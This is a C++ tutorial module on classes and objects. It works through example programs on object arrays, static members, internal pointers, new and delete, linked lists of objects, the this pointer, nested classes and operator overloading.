▪ Pointer within class.
▪ Pointer of the objects.
▪ static member variable.
▪ Pointer of object to another object: list and linked list examples.
▪ Class and strings.
▪ Nesting the classes.
▪ new and delete operators.
▪ this pointer.
▪ Operators overloading.
▪ Functions overloading.
▪ Default methods.

13.1 Introduction

- This Module will illustrate how to use some of the C/C++ features with classes and objects. Pointers
to an object as well as pointers within an object also will be illustrated.
- Arrays embedded within an object, and an array of objects will also be experimented.
- Since objects are simply another C++ data construct, all of these things are possible. Make sure you
have pre knowledge of the array and pointer to continue on this Module.
- Here, method and function terms may be used interchangeably, as simplicity they provide the same
meaning.

13.2 Object Array

- Examine the program named obarray.cpp carefully. This program is nearly identical to the
program named wall1.cpp in the previous Module, until we come to line 47 where an array of 4
wall objects named group are defined (together with 3 normal variable) as shown below:

wall small, medium, large, group[4];

- Be reminded that the proper way to use these constructs is to separate them into three programs:
wall.h, wall.cpp (compiled form) and wall2.cpp as in the previous Module.
- We do not follow the rule here just to simplify our learning.

1. //program obarray.cpp
2. //object and an array
3. #include <iostream.h>
4. #include <stdlib.h>
5.
6. //------------------class declaration-------------------
7. class wall
8. {
9. int length;
10. int width;
11. static int extra_data;
12. //declaration of the extra_data static type
13. public:
14. wall(void);
15. void set(int new_length, int new_width);
16. int get_area(void);
17. int get_extra(void) { return extra_data++;} //inline function
18. };
19.
20. //------------------class implementation----------------
21. int wall::extra_data; //Definition of extra_data
22.
23. //constructor, assigning initial values
24. wall::wall(void)
25. {
26. length = 8;
27. width = 8;
28. extra_data = 1;
29. }
30.
31. //This method will set a wall size to the two input parameters
32. void wall::set(int new_length, int new_width)
33. {
34. length = new_length;
35. width = new_width;
36. }
37.
38. //This method will calculate and return the area of a wall instance
39. int wall::get_area(void)
40. {
41. return (length * width);
42. }
43.
44. //----------------------main program-------------------
45. void main()
46. {
47. wall small, medium, large, group[4];
48. //7 objects are instantiated, including an array
49.
50. small.set(5, 7); //assigning values
51. large.set(15, 20);
52.
53. for(int index=1; index<4; index++) //group[0] uses default
54. group[index].set(index + 10, 10);
55.
56. cout<<"Sending message-->small.get_area()\n";
57. cout<<"Area of the small wall is "<<small.get_area()<<"\n\n";
58. cout<<"Sending message-->medium.get_area()\n";
59. cout<<"Area of the medium wall is "<<medium.get_area()<<"\n\n";
60. cout<<"Sending message-->large.get_area()\n";
61. cout<<"Area of the large wall is "<<large.get_area()<<"\n\n";
62.
63. cout<<"New length/width group[index].set(index + 10, 10)\n";
64. for(int index=0; index<4; index++)
65. {
66. cout<<"Sending message using an array
67. -->group"<<"["<<index<<"].get_area()\n";
68. cout<<"An array of wall area "<<index<<" is
69. "<<group[index].get_area()<<"\n\n";
70. }
71.
72. cout<<"extra_data = 1, extra_data++\n";
73. cout<<"Sending message using-->small.get_extra() or \n";
74. cout<<"array, group[0].get_extra()\n";
75.
76. cout<<"Extra data value is "<<small.get_extra()<<"\n";
77. cout<<"New Extra data value is "<<medium.get_extra()<<"\n";
78. cout<<"New Extra data value is "<<large.get_extra()<<"\n";
79. cout<<"New Extra data value is "<<group[0].get_extra()<<"\n";
80. cout<<"New Extra data value is "<<group[3].get_extra()<<"\n";
81.
82. system("pause");
83. }

83 lines: Output:
- Each four wall objects will be initialized to the values defined within the constructor since the
constructor will be executed for each wall as they are defined.
- In order to define an array of objects, a constructor for that object with no parameters must be
available.
- Line 53 defines a for loop that begins with 1 instead of the normal starting index 0 for an array
leaving the first object, named group[0], to use the default values stored when the constructor was
called (length = 8, width = 8 and extra_data = 1).

for(int index=1; index<4; index++) //group[0] uses default value


group[index].set(index + 10, 10);

- Notice that sending a message to one of the array objects, uses the same construct as used for any
object. The name of the array followed by its index in square brackets is used to send a message to one
of the objects in the array as,

group[index].set(index + 10, 10)

- The general form:

The_object.the_method

- This is illustrated again in line 68-69 as shown below.

cout<<"An array of wall area "<<index<<" is "<<group[index].get_area()<<"\n\n";

- The other method get_extra() is called in the cout statement in lines 76 to 80 where the area of
the four walls in the group array are displayed. The following is the code segment:

cout<<"Extra data value is "<<small.get_extra()<<"\n";


cout<<"New Extra data value is "<<medium.get_extra()<<"\n";
cout<<"New Extra data value is "<<large.get_extra()<<"\n";
cout<<"New Extra data value is "<<group[0].get_extra()<<"\n";
cout<<"New Extra data value is "<<group[3].get_extra()<<"\n";

13.3 static Variable


- An extra variable as shown below was included for illustration, named extra_data in line 11. Since
the keyword static is used as variable modifier, it is an external variable and means only one copy
of this variable will ever exist.

static int extra_data;

- All seven objects defined in line 47 of this class, share a single copy of this variable which is global to
the objects. The variable is actually only declared here which says it will exist somewhere, but it is not
yet defined.
- A declaration says the variable will exist and gives it a name, but the definition actually defines a
place to store it somewhere in the computers memory.
- By definition, a static variable can be declared in a class header but it cannot be defined there, so it is
usually defined in the implementation program. In this case it is defined in line 21 as shown below
and can then be used throughout the class.

int wall::extra_data; //Definition of extra_data

- Figure 13.1 is a graphical representation of some of the variables. Note that the objects named large,
group[0], group[1], and group[2] are not shown but they also share the variable named
extra_data.
- Each object has its own personal length and width because they are not declared static.

- Line 28 of the constructor sets this single global variable to 1 each time an object is declared. Only
one assignment is necessary as follows.

extra_data = 1;

- To illustrate that there is only one variable shared by all objects of this class, the method to read its
value also increments it. Each time it is read in lines 76 through 80, it is incremented and the output
of the execution proves that there is only a single variable shared by all objects of this class.
- static is used when only one copy of the variable is needed in the program. This can be considered
as an optimization. Understand this program, especially the static variable, then compile and run it.

13.4 A String Within An Object

- Examine the program named obstring.cpp for our first example of an object with an embedded
string. Actually, the object does not have an embedded string; it has an embedded pointer, but the
two work so closely together.

1. //Program obstring.cpp
2. #include <iostream.h>
3. #include <stdlib.h>
4.
5. //--------------class declaration part-----------------------
6. class wall
7. {
8. int length;
9. int width;
10. char *line_of_text; //pointer variable
11. public:
12. wall(char *input_line); //constructor declaration
13. void set(int new_length, int new_width);
14. int get_area(void);
15. };
16.
17. //----------------class implementation part------------------
18. wall::wall(char *input_line) //constructor implementation
19. {
20. length = 8;
21. width = 8;
22. line_of_text = input_line;
23. }
24.
25. //This method will set a wall size to the two input parameters
26. void wall::set(int new_length, int new_width)
27. {
28. length = new_length;
29. width = new_width;
30. }
31.
32. //This method will calculate and return
33. //the area of a wall instance
34. int wall::get_area(void)
35. {
36. cout<<line_of_text<< "= ";
37. return (length * width);
38. }
39.
40. //------------------main program---------------------------
41. void main()
42. {
43. //objects are instantiated with a string
44. //constant as an actual parameters
45. wall small("of small size "),
46. medium("of medium size "),
47. large("of large size ");
48.
49. small.set(5, 7);
50. large.set(15, 20);
51.
52. cout<<" Embedded string used as an object\n";
53. cout<<" ----------------------------------\n\n";
54. cout<<"Area of wall surface ";
55. cout<<small.get_area()<<"\n";
56. cout<<"Area of wall surface ";
57. cout<<medium.get_area()<<"\n";
58. //use default value of constructor
59. cout<<"Area of wall surface ";
60. cout<<large.get_area()<<"\n";
61.
62. system("pause");
63. }

63 lines: Output:

- You will notice that line 10 contains a pointer to a char named line_of_text. The constructor
contains an input parameter which is a pointer to a string which will be copied to the string named
line_of_text within the constructor.
char *line_of_text; //pointer variable

- We could have defined the variable line_of_text as an actual array in the class, then use
strcpy() to copy the string into the object.
- It should be pointed out that we are not limited to passing single parameters to a constructor. Any
number of parameters can be passed, as will be illustrated later.
- You will notice that the three walls are defined this time, we supply a string constant as an actual
parameter with each declaration which is used by the constructor to assign the string pointer some data
to point to.
- When we call get_area() in lines 55, 57 and 60 as shown below, we get the message
displayed and the area returned. It would be prudent to put this operation in separate methods since
there is no apparent connection between printing the message and calculating the area, but it was
written this way to illustrate that it can be done.

cout<<small.get_area()<<"\n";
...
cout<<medium.get_area()<<"\n";
//use default value of constructor
...
cout<<large.get_area()<<"\n";

- After you understand this program, compile and run.

13.5 An Object With An Internal Pointer

- Next, study program obinptr.cpp carefully. This is our first example, the program with an
embedded pointer which will be used for dynamic data allocation discussion.
- Internal pointers refer to the pointer variables within the class itself.

1. //Program opinptr.cpp
2. #include <iostream.h>
3. #include <stdlib.h>
4.
5. //-------------------class declaration part--------------------
6. class wall
7. {
8. int length;
9. int width;
10. int *point;
11. //declaration of the pointer variable
12. public:
13. wall(void);
14. //constructor declaration
15. void set(int new_length, int new_width, int stored_value);
16. int get_area(void) { return (length * width); }
17. //Inline function
18. int get_value(void) { return *point; }
19. //Inline function
20. ~wall();
21. //destructor
22. };
23.
24. //---------------------class implementation part-----------------
25. wall::wall(void)
26. //constructor implementation
27. {
28. length = 8;
29. width = 8;
30. point = new int; //new keyword
31. *point = 112;
32. }
33.
34. //This method will set a wall size to the input parameters
35. void wall::set(int new_length, int new_width, int stored_value)
36. {
37. length = new_length;
38. width = new_width;
39. *point = stored_value;
40. }
41.
42. wall::~wall(void)
43. //destructor
44. {
45. length = 0;
46. width = 0;
47. delete point; //delete keyword
48. }
49.
50. //----------------------main program----------------------------
51. void main()
52. {
53. wall small, medium, large; //objects instance
54.
55. small.set(5, 7, 177);
56. large.set(15, 20, 999);
57.
58. cout<<"Area of the small wall surface is "<<small.get_area()<<"\n";
59. cout<<"Area of the medium wall surface is "<<medium.get_area()<<"\n";
60. cout<<"Area of the large wall surface is "<<large.get_area()<<"\n\n";
61. cout<<"Third variable in class wall, pointer *point\n";
62. cout<<"----------------------------------------------\n";
63. cout<<"Stored value of the small wall surface is "<<small.get_value()<<"\n";
64. cout<<"Stored value of the medium wall surface is
65. "<<medium.get_value()<<"\n";
66. cout<<"Stored value of the large wall surface is "<<large.get_value()<<"\n";
67.
68. system("pause");
69. }

69 lines: Output:

- In line 10 we declare a pointer named point to an integer variable, but it is only a pointer, there is no
storage associated with it. The constructor therefore allocates storage for an integer type variable on
the heap (free memory space) for use with this pointer in line 30 as shown below.
- The compiler automatically determines the proper size of the object.

int *point;
...
point = new int; //new operator

- Three objects instantiated in line 53 each contain a pointer which points into the heap to three
different locations as shown below. Each object has its own dynamically storage allocated variable
for its own private use.

wall small, medium, large; //objects instance

- Moreover each has a value of 112 stored in it dynamically because line 31 stores that value in each of
the three locations, once for each call to the constructor as shown below:

*point = 112;

- In a real program production, it would be mandatory to test that the value of the return pointer is not
NULL to assure that the data actually did get allocated.
- The method named set() has three parameters associated with it and the third parameter is used to set
the value of the new dynamically allocated variable. There are two messages passed, one to the small
wall and one to the large wall. As before, the medium wall is left with its default values.
- The three areas are displayed followed by the three stored values in the dynamically allocated
variables, and we finally have a program that requires a destructor in order to do a clean up.
- If we simply leave the scope of the objects as we do when leave the main() program, we will leave
the three dynamically allocated variables on the heap with nothing pointing to them.
- They will be inaccessible and will therefore represent wasted storage on the heap. For that reason, as
shown below, the destructor is used to delete the variable which the pointer named point is
referencing, as each object goes out of existence as in line 47.

delete point; //delete operator

- In this case, lines 45 and 46 as shown below assign zero to variables that will be automatically
deleted. Even though these lines of code really do no good, they are legal statements.

length = 0;
width = 0;

- Actually, in this particular case, the variables will be automatically reclaimed when we return to the
operating system because all program cleanups are done for us at that time.
- This is an example of good programming practice that of cleaning up when you no longer need the
dynamically allocated variables to free up the heap.
- Compile and run this program.

13.6 Dynamically Allocated Object

- Examine the program named obdyna.cpp carefully for our first look at dynamically allocated
object. Notice that the pointer is in the main program instead of within the class as in previous
example.

1. //Program obdyna.cpp
2. //dynamically allocated object
3.
4. #include <iostream.h>
5. #include <stdlib.h>
6.
7. //--------------------class declaration part------------------
8. class wall
9. {
10. int length;
11. int width;
12. //two member variables
13. public:
14. wall(void);
15. //constructor declaration
16. void set(int new_length, int new_width);
17. int get_area(void);
18. //two methods
19. };
20.
21. //---------------class implementation part-------------------
22. wall::wall(void)
23. //constructor implementation
24. {
25. length = 8;
26. width = 8;
27. }
28.
29. //This method will set a wall size to the input parameters
30. void wall::set(int new_length, int new_width)
31. {
32. length = new_length;
33. width = new_width;
34. }
35.
36. //This method will calculate and return the area of a wall instance
37. int wall::get_area(void)
38. {
39. return (length * width);
40. }
41.
42. //------------------main program-----------------------------
43. void main()
44. {
45. wall small, medium, large;
46. //objects are instantiated of type class wall
47. wall *point;
48. //a pointer to a class wall
49.
50. small.set(5, 7);
51. large.set(15, 20);
52.
53. point = new wall; //new operator
54. //use the defaults value supplied by the constructor
55.
56. cout<<"Use small.set(5, 7)\n";
57. cout<<"-------------------\n";
58. cout<<"Area of the small wall surface is "<<small.get_area()<<"\n\n";
59. cout<<"Use default/constructor value medium.set(8, 8)\n";
60. cout<<"-----------------------------------------------\n";
61. cout<<"Area of the medium wall surface is "<<medium.get_area()<<"\n\n";
62. cout<<"Use large.set(15, 20)\n";
63. cout<<"----------------------\n";
64. cout<<"Area of the large wall surface is "<<large.get_area()<<"\n\n";
65. cout<<"Use default/constructor value, point->get_area()\n";
66. cout<<"------------------------------------------------\n";
67. cout<<"New surface area of wall "<<point->get_area()<<"\n\n";
68. cout<<"Use new value, point->set(12, 12)\n";
69. cout<<"---------------------------------\n";
70. point->set(12, 12);
71. cout<<"New surface area of wall "<<point->get_area()<<"\n";
72. delete point; //delete operator
73.
74. system("pause");
75. }

75 lines: Output:

- In line 47 as shown below, we defined a pointer to an object of type wall named point and it is
only a pointer with nothing to point to.

wall *point;

- The following code means, we dynamically allocated object storage for it in line 53, with the object
being instantiated on the heap just like any other dynamically allocated variable using the new
keyword.

point = new wall; //new keyword

- When the object is created in line 53, the constructor is called automatically to assign values to the two
internal storage variables. Note that the constructor is not called when the pointer is defined since there
is nothing to initialize. It is called when the object is allocated.
- Reference to the components of the object are handled in much the same way that structure references
are made, through the use of the pointer operator as illustrated in lines 67, 70 and 71 as shown
below.

cout<<"New surface area of wall "<<point->get_area()<<"\n\n";


...
point->set(12, 12);
cout<<"New surface area of wall "<<point->get_area()<<"\n";

- Alternatively, you also can use the pointer dereferencing method without the arrow such as (refer to
Module 8).

(*point).set(12, 12);

- Same as:

point->set(12, 12)

- Finally, the object is deleted in line 72 as shown below and the program terminates. If there were a
destructor for this class, it would be called automatically as part of the delete statement to clean up the
object prior to deletion.

delete point; //delete keyword

- Notice that the use of objects is not much different from the use of structure. Compile and run this
program after you have studied it thoroughly.

13.7 new and delete operators

- These operators provide better dynamic memory allocation compared to malloc() and free()
function calls used in C. Consider the following code:

TypeName *typeNamePtr;

- In ANSI C (ISO/IEC C), to dynamically create an object of type TypeName, you would write like this:

typeNamePtr = malloc(sizeof(TypeName));

- This requires a function call to malloc(). In C++ you simply write:

typeNamePtr = new TypeName;

- The new operator automatically creates a class’s object of the proper size, calls the constructor for the
object (if any) and returns a pointer of the correct type. If there is unavailable space, 0 pointer is
returned.
- Next, to free the space for the allocated class’s object, after has been used, the delete operator is
used as follows:

delete typeNamePtr;

- An initializer also is permitted for newly created object, for example:

double *Ptr = new double (4.2345);

- This initializes a newly created double object to 4.2345. Example for an array:

ObjectPtr = new int[10][10];

- Then can be deleted by using:

delete[] ObjectPtr;

- new and delete automatically invokes the constructor and destructor classes respectively.

13.8 An Object With A Pointer To Another Object

- The program named oblist.cpp contains an object with internal reference to another object of its
own class.
- This is the standard structure used for a singly linked list and we will keep the use of it very simple in
this program.

1. //Program oblist.cpp
2. //object and list
3.
4. #include <iostream.h>
5. #include <stdlib.h>
6.
7. //-------------------class declaration part----------------
8. class wall
9. {
10. int length;
11. int width;
12. wall *another_wall; //pointer variable
13. public:
14. wall(void);
15. //constructor declaration
16. void set(int new_length, int new_width);
17. int get_area(void);
18. void point_at_next(wall *where_to_point);
19. wall *get_next(void);
20. };
21.
22. //---------------------class implementation part--------------
23. wall::wall(void)
24. //constructor implementation
25. {
26. length = 8;
27. width = 8;
28. another_wall = NULL;
29. }
30.
31. //This method will set a wall size to the input parameters
32. void wall::set(int new_length, int new_width)
33. {
34. length = new_length;
35. width = new_width;
36. }
37.
38. //This method will calculate and return the area of a wall instance
39. int wall::get_area(void)
40. {
41. return (length * width);
42. }
43.
44. //this method causes the pointer to point to the input parameter
45. void wall::point_at_next(wall *where_to_point)
46. {
47. another_wall = where_to_point;
48. }
49.
50. //this method returns the wall the current one points to
51. wall *wall::get_next(void)
52. {
53. return another_wall;
54. }
55.
56. //----------------main program--------------------------
57. void main()
58. {
59. wall small, medium, large;
60. //objects are instantiated, of type class wall
61. wall *wall_pointer;
62. //wall *point;
63. //a pointer to a wall
64.
65. small.set(5, 7);
66. large.set(15, 20);
67.
68. //point = new wall;
69. //use the defaults value supplied by the constructor
70. cout<<"Using small.set(5, 7):\n";
71. cout<<"----------------------\n";
72. cout<<"Area of the small wall surface is "<<small.get_area()<<"\n\n";
73. cout<<"Using default/constructor value\n";
74. cout<<"-------------------------------\n";
75. cout<<"Area of the medium wall surface is "<<medium.get_area()<<"\n\n";
76. cout<<"Using large.set(15, 20):\n";
77. cout<<"------------------------\n";
78. cout<<"Area of the large wall surface is "<<large.get_area()<<"\n\n";
79.
80. small.point_at_next(&medium);
81. medium.point_at_next(&large);
82.
83. wall_pointer = &small;
84. wall_pointer = wall_pointer->get_next();
85.
86. cout<<"The wall’s pointer pointed to has area "<<wall_pointer
87. ->get_area()<<"\n";
88.
89. system("pause");
90. }

90 lines: Output:

- The constructor contains the statement in line 28 as shown below, which assigns the pointer named
another_box the value of NULL to initialize the pointer. Don’t allow any pointer to point off into
space, but initialize all pointers to point to something.

another_wall = NULL;

- By assigning the pointer within the constructor, you guarantee that every object of this class will
automatically have its pointer initialized.
- Two additional methods are declared in lines 18 and 19 as in the following code with the one in line 19
having a construct we have not yet mentioned in this Module.
- This method returns a pointer to an object of the wall class. As you are aware, you can return a
pointer to a struct in standard C, and this is a parallel construct in C++.

void point_at_next(wall *where_to_point);


wall *get_next(void);

- As shown below, the implementation in lines 51 through 54 returns the pointer stored as a member
variable within the object. We will see how this is used when we get to the actual program.

wall *wall::get_next(void)
{
return another_wall;
}

- An extra pointer named wall_pointer is defined in the main program for later use and in line 80
we make the embedded pointer within the small wall point to the medium wall. Line 81 makes the
embedded pointer within the medium wall point to the large wall as shown below:

small.point_at_next(&medium);
medium.point_at_next(&large);

- We have effectively generated a linked list with three elements. In line 83 we make the extra pointer
point to the small wall. Continuing in line 84 we use it to refer to the small wall and update it to the
value contained in the small wall which is the address of the medium wall.
- The code segment is shown below:

wall_pointer = &small;
wall_pointer = wall_pointer->get_next();

- We have therefore traversed from one element of the list to another by sending a message to one of the
objects. If line 84 were repeated exactly as shown, it would cause the extra pointer to refer to the
large wall, and we would have traversed the entire linked list which is only composed of three
elements.
- Figure 13.2 is a graphical representation of a portion of each object data space following the program
execution.
- Compile and run this program in preparation for our next program example.
- Keep in mind that a better solution for list can be found in Tutorial #4, the Standard Template Library,
using list Containers.

13.9 this keyword

- The pointer this is defined within any object as being a pointer to the object in which it is
contained. It is a pointer and explicitly defined as:

class_n
ame
*this;

- And is initialized to point to the object for which the member function is invoked. This pointer is most
useful when working with pointers and especially with a linked list when you need to reference a
pointer to the object you are inserting into the list.
- The pointer this is available for this purpose and can be used in any object. Actually the proper way
to refer to any variable within a list is through the use of the predefined pointer this, by writing:

this->variable_name

- But the compiler assumes the pointer is used, and we can simplify every reference by omitting the
pointer.
- If using explicitly, each object can determine its own address by using this keyword.
- this pointer can be used to prevent an object from being assigned to itself.
- The following example demonstrates the use of the this pointer explicitly to enable a member
function of class ThiPoint to display the private data c of a ThiPoint object.

//using the this pointer explicitly


//to refer to object members
#include <iostream.h>
#include <stdlib.h>

class ThiPoint
{
int c;
public:
ThiPoint(int);
void display();
};

ThiPoint::ThiPoint(int a){ c = a;} //just a constructor

void ThiPoint::display()
{

cout<<"c = "<<c<<endl;
cout<<"this->c = "<<this->c<<endl;
cout<<"(*this).c = "<<(*this).c<<endl;
//use parentheses for (*this).c because
//dot has higher precedence than *
}

void main(void)
{
ThiPoint b(10);

b.display();
system("pause");
}

Output:

13.10 A Simple Link List Of Objects

- Examine the program named oblink.cpp carefully and this program is a complete example of a
linked list written in a simple object oriented notation.
- This program is very similar to the last one, oblist.cpp until we get to the main() program.

1. //Program oblink.cpp,
2. //object link list
3. #include <iostream.h>
4. #include <stdlib.h>
5.
6. //----------------------class declaration part--------------------
7. class wall
8. {
9. int length;
10. int width;
11. wall *another_wall; //pointer variable
12. public:
13. wall(void);
14. //constructor declaration
15. void set(int new_length, int new_width);
16. int get_area(void);
17. void point_at_next(wall *where_to_point);
18. wall *get_next(void);
19. };
20.
21. //-----------------------class implementation part---------------
22. wall::wall(void)
23. //constructor implementation
24. {
25. length = 8;
26. width = 8;
27. another_wall = NULL;
28. }
29.
30. //This method will set a wall size to the input parameters
31. void wall::set(int new_length, int new_width)
32. {
33. length = new_length;
34. width = new_width;
35. }
36.
37. //This method will calculate and return the area of a wall instance
38. int wall::get_area(void)
39. {
40. return (length * width);
41. }
42.
43. //this method causes the pointer to point to the input parameter
44. void wall::point_at_next(wall *where_to_point)
45. {
46. another_wall = where_to_point;
47. }
48.
49. //this method returns the wall the current one points to
50. wall *wall::get_next(void)
51. {
52. return another_wall;
53. }
54.
55. //------------------------main program--------------------
56. void main()
57. {
58. wall *start = NULL; //always point to the start of the list
59. wall *temp = NULL; //working pointer, initialize with NULL
60. wall *wall_pointer; //use for object wall instances
61.
62. //Generate the list
63. for(int index = 0; index < 8; index++)
64. {
65. wall_pointer = new wall; //new object instances
66. wall_pointer->set(index+1, index+3);
67.
68. if(start == NULL)
69. start = wall_pointer; //first element in list
70. else
71. temp->point_at_next(wall_pointer); //next element, link list
72.
73. temp = wall_pointer;
74. //print the list
75. cout<<"Starting with wall_pointer
76. ->set("<<(index+1)<<","<<(index+3)<<")"<<"\n";
77. cout<<" New Wall's surface area is " <<temp->get_area() << "\n";
78. }
79.
80. //clean up
81. temp = start;
82. do {
83. temp = temp->get_next();
84. delete start;
85. start = temp;
86. } while (temp != NULL);
87.
88. system("pause");
89. }

89 lines: Output:
- You will recall that in the last program the only way we had to set or use the embedded pointer was
through the use of two methods named point_at_next() and get_next() which are listed in
lines 17 and 18 of this program.

void point_at_next(wall *where_to_point);


wall *get_next(void);

- We will use these to build up our linked list then traverse and print the list. Finally, we will delete the
entire list to free the space on the heap.
- In lines 58 through 60 as in the following code segment, we define three pointers for use in the
program as shown below. The pointer named start will always point to the beginning of the list, but
temp will move down through the list as we creating it.

wall *start = NULL; //always point to the start of the list


wall *temp = NULL; //working pointer, initialize with NULL
wall *wall_pointer; //use for object wall instances

- The pointer named wall_pointer will be used for the instantiated of each object. We execute the
loop in lines 63 through 78 as shown below, to generate the list where line 65 dynamically allocates a
new object of the wall class and line 66 fills it with some data for illustration.

for(int index = 0; index < 8; index++)


{
wall_pointer = new wall; //new object instances
wall_pointer->set(index+1, index+3);
...
...
...
}

- If this is the first element in the list, the start pointer is set to point to this element, but if the
elements already exist, the last element in the list is assigned to point to the new element. In either
case, the temp pointer is assigned to point to the last element of the list, in preparation for adding
another element if any.
- In line 73, the pointer named temp is caused to point to the first element at the beginning and it is
used to increment its way through the list by updating itself in line 71 during each pass through the
loop. When temp has the value of NULL, which it gets from the list, we are finished traversing the list.
- Finally, we delete the entire list by starting at the beginning and deleting one element each time we pass
through the loop in lines 81 through 86. The code segment is shown below:

temp = start;
do{
temp = temp->get_next();
delete start;
start = temp;
} while (temp != NULL);

- This program generates a linked list of ten elements, each element being an object of class wall.
- Compile and run this program example.
- A better solution for list can be found in Part III of this tutorial, the Standard Template Library, using
list Containers.

13.11 Nesting Objects

- Examine the program named obnest.cpp for an example of nesting classes which results in nested
objects.
- This program example contains a class named box which contains an object of another class embedded
within it in line 25, the mail_info class as shown below. It is depicted graphically in figure 13.3.
- This object is available for use only within the class implementation of box because that is where it is
defined, it is local scope.

mail_info label;

- The main() program has objects of class box defined but no objects of class mail_info, so the
mail_info class cannot be referred to in the main() program.
- In this case, the mail_info class object is meant to be used internally to the box class and one
example is given in line 32 as shown below where a message is sent to the label.set() method to
initialize the variables.

label.set(ship, post);

- Additional methods could be used as needed, but these are given as an illustration of how they can be
called.

1. //Program obnest.cpp
2. #include <iostream.h>
3. #include <stdlib.h>
4.
5. //---------first class declaration---------------
6. class mail_info
7. {
8. int shipper;
9. int postage;
10. public:
11. void set(int input_class, int input_postage)
12. {
13. shipper = input_class;
14. postage = input_postage;
15. }
16. int get_postage(void)
17. { return postage;}
18. };
19.
20. //----------Second class declaration---------------
21. class box
22. {
23. int length;
24. int width;
25. mail_info label;
26.
27. public:
28. void set(int l, int w, int ship, int post)
29. {
30. length = l;
31. width = w;
32. label.set(ship, post);
33. //Accessing the first class, mail_info set() method
34. }
35.
36. int get_area(void) { return (length * width);}
37. };
38.
39. //----------------------main program------------------
40. void main()
41. {
42. box small, medium, large; //object instances
43.
44. small.set(2,4,1,35);
45. medium.set(5,6,2,72);
46. large.set(8,10,4,98);
47.
48. cout<<"Normal class-->small.get_area()\n";
49. cout<<"-------------------------------\n";
50. cout<<"Area of small box surface is "<<small.get_area()<< "\n\n";
51. cout<<"Normal class-->medium.get_area()\n";
52. cout<<"-------------------------------\n";
53. cout<<"Area of medium box surface is "<<medium.get_area() << "\n\n";
54. cout<<"Normal class-->large.get_area()\n";
55. cout<<"-------------------------------\n";
56. cout<<"Area of large box surface is "<<large.get_area()<<"\n\n";
57.
58. system("pause");
59. }

59 lines: Output:

- The fact is that there are never any objects of the mail_info class declared directly in the main()
program, they are inherently declared when the enclosing objects of class box are declared.
- The objects of the mail_info class could be declared and used in the main() program if needed,
but they are not in this program example. In order to be complete, the box class should have one or
more methods to use the information stored in the object of the mail_info class.
- Compile and run this program.

13.12 Operator Overloading

- Examine the program named opverlod.cpp carefully; this program contains examples of operators
overloading. This allows you to define a class of objects and redefine the use of the normal operators.
1. //Program opverlod.cpp, operator overloading
2. #include <iostream.h>
3. #include <stdlib.h>
4.
5. //---------------------class declaration part------------
6. class wall
7. {
8. public:
9. int length;
10. int width;
11.
12. public:
13. void set(int l,int w) {length = l; width = w;}
14. int get_area(void) {return length * width;}
15. //operator overloading
16. friend wall operator + (wall aa, wall bb); //add two walls
17. friend wall operator + (int aa, wall bb); //add a constant to a wall
18. friend wall operator * (int aa, wall bb);
19. //multiply a wall by a constant
20. };
21.
22. //---------------------class implementation part--------------
23. wall operator + (wall aa, wall bb)
24. //add two walls widths together
25. {
26. wall temp;
27. temp.length = aa.length;
28. temp.width = aa.width + bb.width;
29. return temp;
30. }
31.
32. wall operator + (int aa, wall bb)
33. //add a constant to wall
34. {
35. wall temp;
36. temp.length = bb.length;
37. temp.width = aa + bb.width;
38. return temp;
39. }
40.
41. wall operator * (int aa, wall bb)
42. //multiply wall by a constant
43. {
44. wall temp;
45. temp.length = aa * bb.length;
46. temp.width = aa * bb.width;
47. return temp;
48. }
49.
50. void main()
51. {
52. wall small, medium, large; //object instances
53. wall temp;
54.
55. small.set(2,4);
56. medium.set(5,6);
57. large.set(8,10);
58.
59. cout<<"Normal values\n";
60. cout<<"-------------\n";
61. cout<<"Area of the small wall surface is "<<small.get_area()<<"\n";
62. cout<<"Area of the medium wall surface is "<<medium.get_area()<<"\n";
63. cout<<"Area of the large wall surface is "<<large.get_area()<<"\n\n";
64. cout<<"Overload the operators!"<<"\n";
65. cout<<"-----------------------"<<endl;
66. temp = small + medium;
67. cout<<"New value-->2 * (4 + 6)\n";
68. cout<<"New area of the small wall surface is "<<temp.get_area()<<"\n\n";
69. cout<<"New value-->2 * (10 + 4) \n";
70. temp = 10 + small;
71. cout<<"New area of the medium wall surface is "<<temp.get_area()<<"\n\n";
72. cout<<"New value-->(4 * 8) * (4 * 10)\n";
73. temp = 4 * large;
74. cout<<"New area of the large wall surface is "<<temp.get_area()<<"\n\n";
75.
76. system("pause");
77. }
77 lines: Output:

- The end result is that objects of the new class can be used in as natural as the predefined types. In fact,
they seem to be a part of the language rather than your own add-on.
- In this case we overload the + operator and the * operator, with the declarations in lines 16 through 18
as shown below, and the definitions in lines 23 through 47. The methods are declared as friend
functions, so we can use the double parameter function as listed.
- If we do not use the friend construct, the function would be a part of one of the objects and that
object would be the object to which the message was sent.

friend wall operator + (wall aa, wall bb); //add two walls
friend wall operator + (int aa, wall bb); //add a constant to a wall
friend wall operator * (int aa, wall bb);

- By including the friend construct allows us to separate this method from the object and call the
method with infix notation. Using this technique, it can be written as:

object1 + object2

- Rather than:

object1.operator + (object2)

- Also, without the friend construct we could not use an overloading with an int type variable for the
first parameter because we can not send a message to an integer type variable such as

int.operator + (object)

- Two of the three operators overloading use an int for the first parameter so it is necessary to declare
them as friend functions.
- There is no upper limit to the number of overloading for any given operator. Any number of
overloading can be used provided the parameters are different for each particular overloading.
- As shown below, the header in line 23, illustrates the first overloading where the + operator is
overloaded by giving the return type followed by the keyword operator and the operator we wish to
overload.

wall operator + (wall aa, wall bb)

- The two formal parameters and their types are then listed in the parentheses and the normal function
operations are given in the implementation of the functions in lines 25 through 30 as shown below.
- Notice that the implementation of the friend functions is not actually a part of the class because the
class name is not prepended onto the method name in line 22.

{
wall temp;
temp.length = aa.length;
temp.width = aa.width + bb.width;
return temp;
}

- There is nothing unusual about this implementation; it should be easily understood by you at this point.
For purposes of illustration, some simple mathematical operations are performed in the method
implementation, but any desired operations can be done.
- The biggest difference occurs in line 65 as shown below where this method is called by using the infix
notation instead of the usual message sending format.

temp = small + medium;

------------------------------------------------------------------------------------------------------------------

Infix Expression:
Any expression in the standard form such as "4*2-6/3" is an Infix (In order) expression.

Postfix Expression:
The Postfix (Post order) form of the above expression is "42*63/-".
------------------------------------------------------------------------------------------------------------------

- Since the variables small and medium are objects of the wall class, the system will search for a
way to use the + operator on two objects of class wall and will find it in the overloaded operator
+ method we have just discussed.
- In line 70 as shown below, we ask the system to add an int type constant to a small object of class
wall, so the system finds the other overloading of the + operator beginning in line 31 through 38 to
perform this operation.

temp = 10 + small;

- In line 72 as shown below, we ask the system to use the * operator to do something to an int constant
and a large object of class wall, which it satisfies by finding the method in lines 40 through 47.

temp = 4 * large;

